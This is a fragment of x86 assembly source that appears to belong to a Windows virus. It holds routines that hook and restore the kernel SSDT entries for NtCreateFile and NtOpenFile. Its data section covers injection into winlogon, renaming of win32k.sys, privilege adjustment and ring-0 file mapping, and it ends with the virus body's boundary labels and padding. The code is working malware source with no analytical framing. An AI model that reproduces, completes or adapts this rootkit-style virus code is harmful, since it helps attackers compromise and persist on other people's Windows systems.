;;;;;;;;;;;;
pushad
mov eax,[ebp + NtCreateFileAddr]
mov ebx,[ebp + NtCreateFileEntryAddr]
mov [ebx],eax
mov eax,[ebp + NtOpenFileAddr]
mov ebx,[ebp + NtOpenFileEntryAddr]
mov [ebx],eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;
RehookAgain:
;;;;;;;;;;;;
pushad
lea eax,[ebp + NtCreateFileHookRutine]
mov ebx,[ebp + NtCreateFileEntryAddr]
mov [ebx],eax
lea eax,[ebp + NtOpenFileHookRutine]
mov ebx,[ebp + NtOpenFileEntryAddr]
mov [ebx],eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Some Variables

Needed     dd 0
NtKernel   dd 0
NtAdvapi   dd 0
NtPsapi    dd 0
NtRasapi   dd 0
Ntdll      dd 0
NtImagehlp dd 0
advapi     db 'advapi32.dll',0
psapi      db 'psapi.dll',0
rasapi     db 'rasapi32.dll',0
imagehlp   db 'imagehlp.dll',0
win32ksys  db 'win32k.sys',0
win32ksy   db 'win32k.sy',0
win32kfuck db 'win32k.fuck',0
StartUnicode db '\',0,'?',0,'?',0,'\',0
WinlogonHand  dd 0
WinlogonID    dd 0
WinlogonModuleHand dd 0
WinlogonModuleName db 50 dup(?)
WinlogonVirusBase  dd 0

tAdjustTokenPrivileges dd 0
tCloseHandle           dd 0
tLookupPrivilegeValueA dd 0
tOpenProcessToken      dd 0
tGetCurrentProcess     dd 0

CurDir db 256 dup(0)

_WIN32_FIND_DATA WIN32_FIND_DATA ?

FileHandle          dd 0
MappingHandle       dd 0
ViewHandle          dd 0
SearchHand          dd 0

Buffer              db 256 dup (?)
aux                 dd 0
KernelThreadHand    dd 0

EntryPointWin32ksys dd 0
EntryPoint          dd 0

KeServiceDescriptorTable      dd 0
Ntoskrnl                                dd 0
SSDT                                  dd 0
NtCreateFileAddr                        dd 0
```

```
NtOpenFileAddr                dd 0
NtCreateFileEntryAddr           dd 0
NtOpenFileEntryAddr             dd 0

AttributesFileRing0         dd             ?
CreateDispositionFileRing0  dd             ?
CreateOptionsFileRing0      dd             ?
FileNameRing0           unicode_string     ?
StringRing0             dw    256      dup(0)
RootDirectoryRing0      dd                       0
FileAttributesRing0     objects_attributes ?
io_statusRing0          pio_status         ?
FileHandRing0         dd                         ?
SectionHandRing0                dd                 ?
SectionOffsetRing0      dq                 0
SectionBaseAddressRing0 dd                 0
SectionViewSizeRing0    dd                 0


ZwMapViewOfSectionz     dd                 0
ZwCreateSectionz        dd                 0
ZwOpenFilez             dd                 0
ZwUnmapViewOfSectionz   dd                 0
ZwClosez                dd                 0

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
padding:
PADDING equ  4 -(((padding - svirus) - (4*((padding - svirus)/4))))
db PADDING dup (00h)

evirus:
end start

end
```